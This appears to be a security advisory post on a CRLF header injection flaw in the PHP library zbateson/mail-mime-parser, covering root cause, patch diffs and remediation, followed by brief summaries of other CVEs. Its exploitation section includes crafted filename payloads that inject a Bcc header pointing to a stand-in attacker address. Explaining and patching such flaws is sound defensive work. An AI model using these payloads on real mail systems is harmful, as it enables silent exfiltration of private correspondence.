Sep 25, 2026·6 min read·19 visits
A validation error in zbateson/mail-mime-parser allows remote attackers to inject malicious email headers (such as Bcc directives) by embedding encoded CRLF sequences inside attachment filenames. Patches in versions 3.0.6 and 4.0.2 remediate the issue.
CVE-2026-61815 is a high-severity Carriage Return / Line Feed (CRLF) header injection vulnerability in the zbateson/mail-mime-parser library. Due to incomplete sanitization logic, encoded newline sequences within filenames and headers survive parsing and translate into literal CRLF control bytes. When applications process or forward these payloads, the library writes the unescaped control bytes directly into outbound SMTP metadata, allowing remote attackers to inject rogue headers or compromise message integrity.
The PHP email processing library zbateson/mail-mime-parser serves as an RFC-compliant framework for parsing and creating MIME-formatted internet messages. The software is widely integrated into automated email parsers, helpdesk ticket systems, CRM processors, and inbound mail relays to manage file attachments.
The library's attack surface includes the parsing of inbound MIME payloads and the subsequent generation of outbound mail streams. Remote attackers can leverage input validation and sanitization oversights in both directions. Inbound parsed files that contain encoded control sequences retain those malicious sequences in application memory, which can subsequently be serialized back into raw transport channels.
The vulnerability is classified as CWE-93 (Improper Neutralization of CRLF Sequences). It yields an average CVSS v3.1 score of 7.2. The downstream effect allows an attacker to manipulate header boundaries, resulting in unauthorized information disclosure or message content alteration.
The technical flaw underlying CVE-2026-61815 occurs because character decoding operations execute after structural sanitization filters have already run. This timing mismatch allows encoded newline characters to successfully bypass the library's defensive sanitization routines.
In MimeToken.php, RFC 2047 encoded words are evaluated. The library strips literal newline characters from the raw header using preg_replace before executing the base64 or quoted-printable decoder function decodeMime(). Consequently, any Carriage Return (\r) and Line Feed (\n) sequences safely hidden inside an encoded-word wrapper escape the filter. Once decoded, the payload materializes as literal CRLF control bytes in memory.
A parallel vulnerability exists in the parameter parser located in ParameterPart.php. When parsing RFC 2231 attachment parameters, such as the filename* parameter, the library processes percentage-encoded payloads. The parser invokes rawurldecode(), converting URL-encoded newlines (%0D%0A) into literal byte sequences (\x0D\x0A). The code lacks any subsequent validation or sanitization check to neutralize these unescaped control bytes before transmitting them to other components.
During the serialization phase, the unescaped control characters flow into MultipartHelper.php. The library attempts to sanitize filenames by invoking iconv() with the US-ASCII//translit//ignore instruction. Because Carriage Return and Line Feed are legitimate US-ASCII control characters, iconv() passes them without modification, writing the raw CRLF sequences straight into the outgoing headers.
To resolve the core vulnerability, the developers restructured the decoding pipeline to execute sanitization immediately after payload decoding. Diffs from the core fix demonstrate the movement of sanitization logic and the addition of robust regular expressions.
In src/Header/Part/MimeToken.php, the logic has been modified to enforce a secondary regular expression filter directly on the final output of the decodeMime() method:
class MimeToken extends Token
{
public function __construct(LoggerInterface $logger, MbWrapper $charsetConverter, string $value)
{
parent::__construct($logger, $charsetConverter, $value);
- $this->value = $this->decodeMime(\preg_replace('/\r|\n/', '', $this->value));
+ $decoded = $this->decodeMime(\preg_replace('/\r|\n/', '', $this->value));
+ $this->value = \preg_replace('/[\r\n]+/', '', $decoded) ?? '';
$pattern = self::MIME_PART_PATTERN;In src/Header/Part/ParameterPart.php, a similar regex filter has been integrated to catch and sanitize percentage-decoded characters emerging from the RFC 2231 parser:
protected function decodePartValue(string $value, ?string $charset = null) : string
{
- if ($charset !== null) {
- return $this->convertEncoding(\rawurldecode($value), $charset, true);
- }
- return $this->convertEncoding(\rawurldecode($value));
+ $decoded = ($charset !== null)
+ ? $this->convertEncoding(\rawurldecode($value), $charset, true)
+ : $this->convertEncoding(\rawurldecode($value));
+ return \preg_replace('/[\r\n]+/', '', $decoded) ?? $decoded;
}Finally, in src/Message/Helper/MultipartHelper.php, a defensive fallback filter was implemented during output formatting to strip structural ASCII control characters (byte range \x00-\x1F and \x7F) and replace them with spaces:
- $safe = \iconv('UTF-8', 'US-ASCII//translit//ignore', $filename);
+ $converted = \iconv('UTF-8', 'US-ASCII//translit//ignore', $filename);
+ $safe = \preg_replace('/[\x00-\x1F\x7F]+/', ' ', ($converted !== false) ? $converted : '') ?? '';Exploitation relies on a target application reading a malicious inbound email message and subsequently forwarding or re-attaching that content. An attacker crafts a message containing attachment parameters formatted with encoded newlines followed by raw SMTP headers.
For example, an attacker can use RFC 2231 percentage encoding to craft a malicious filename containing a Bcc header injection:
Content-Disposition: attachment; filename*=UTF-8''invoice.pdf%0D%0ABcc:%20attacker@evil.testAlternatively, an attacker can construct an RFC 2047 Base64 MIME-encoded string of the payload invoice.pdf\r\nBcc: attacker@evil.test:
Content-Disposition: attachment; filename="=?utf-8?B?aW52b2ljZS5wZGYNCkJjYzogYXZpbEBhdHRhY2tlci50ZXN0?="When the application processes this incoming email and calls createAndAddPartForAttachment(), the un-sanitized CRLF sequence is output directly. The downstream SMTP server processes the resulting raw stream and splits the headers, recognizing the injected string as a legitimate BCC directive:
Content-Type: application/pdf;
name="invoice.pdf
Bcc: attacker@evil.test"
Content-Disposition: attachment;
filename="invoice.pdf
Bcc: attacker@evil.test"The impact of CVE-2026-61815 is critical for environments that execute automatic processing on incoming email files, such as ticketing systems, CRM managers, or automated financial tools. By injecting a carriage return and line feed, the attacker can force downstream Mail Transfer Agents (MTAs) to split header sequences.
By injecting Bcc or Cc headers, attackers can silently copy and exfiltrate all outgoing replies, attachments, and internal records corresponding to the compromised message thread. This compromises message confidentiality without generating warning flags in client-facing applications.
Attackers can also inject dual carriage returns (\r\n\r\n) to prematurely end the headers segment and insert arbitrary text or script links into the body of the email. This facilitates phishing and social engineering campaigns, as the injected content appears to originate from an internal or trusted sending system.
The primary remediation strategy is the immediate upgrade of all zbateson/mail-mime-parser library instances. Legacy versions 1.x and 2.x are End-of-Life and will not receive security fixes. Users must upgrade to the supported patched releases:
To update the dependency within a PHP project, execute the following Composer directive:
composer update zbateson/mail-mime-parserIf manual validation must be applied in legacy application code, filter all output filenames extracted via the API prior to processing. Developers can run a strict regex filter to strip control characters manually:
$safe_filename = preg_replace('/[\x00-\x1F\x7F]+/', ' ', $part->getFilename());To detect exploitation attempts, implement Snort, Suricata, or WAF rules to scan inbound mail traffic for RFC 2231 parameters containing %0D%0A or equivalent hexadecimal byte injections inside filename definitions.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
mail-mime-parser zbateson | < 3.0.6 | 3.0.6 |
mail-mime-parser zbateson | >= 4.0.0, < 4.0.2 | 4.0.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-93 |
| Attack Vector | Network (Remote) |
| CVSS v3.1 Score | 7.2 |
| Impact Type | Header Injection / Email Exfiltration |
| Exploit Status | Proof-of-Concept |
| CISA KEV Listed | No |
The software does not neutralize or incorrectly neutralizes carriage return (CR) and line feed (LF) characters before using them in input headers.
CVE-2026-16454 is an object-level authorization bypass vulnerability (CWE-284, CWE-862) in Eclipse hawkBit versions 1.0.3 and prior. The flaw exists within the Direct Device Integration (DDI) REST controller (hawkbit-ddi-resource), where endpoints responsible for enumerating software module metadata and serving firmware binaries fail to verify whether the requested software module is assigned to the authenticated device. Consequently, any device with valid credentials (such as a TargetToken or GatewayToken) can enumerate software module identifiers and download arbitrary firmware artifacts across the entire tenant namespace.
CVE-2026-62284 (GHSA-5w5g-j6hw-6p8f) is a code injection and server-side request forgery vulnerability in the console-proxy component of the OSAC Operator. The RemoteConfigResolver parses Kubernetes Secrets containing kubeconfig files via clientcmd.RESTConfigFromKubeConfig without sanitizing execution-related fields. An attacker with RBAC permissions to create or modify labeled Secrets in monitored namespaces can supply a malicious exec credential plugin, resulting in arbitrary command execution within the console-proxy pod.
CVE-2026-62361 (GHSA-xgjr-7j9q-2h4r) is an authenticated SQL injection and authorization bypass vulnerability in listmonk, an open-source, self-hosted newsletter and mailing list manager written in Go. In versions prior to 6.2.0, the subscriber export endpoint (GET /api/subscribers/export) directly interpolates user-supplied SQL filter expressions into a PostgreSQL query without invoking the table allowlist validation function (validateQueryTables). Consequently, authenticated users possessing the subscribers:sql_query and subscribers:get_all permissions can bypass relational access controls, execute arbitrary subqueries against restricted tables such as users and settings, and modify database state via writable Common Table Expressions (CTEs).
CVE-2026-28385 (GHSA-3gq2-x4qg-p4g6) is a Server-Side Request Forgery (SSRF) vulnerability in Canonical LXD versions 4.12 through 6.9. An authenticated user possessing the can_create_images entitlement can force the LXD daemon to execute arbitrary outbound HTTP and HTTPS requests via the /1.0/images API endpoint. Due to the absence of egress destination validation, an attacker can probe host loopback services, RFC 1918 private network segments, and cloud Instance Metadata Services (IMDS) from the network position of the privileged LXD daemon.
Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.
CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.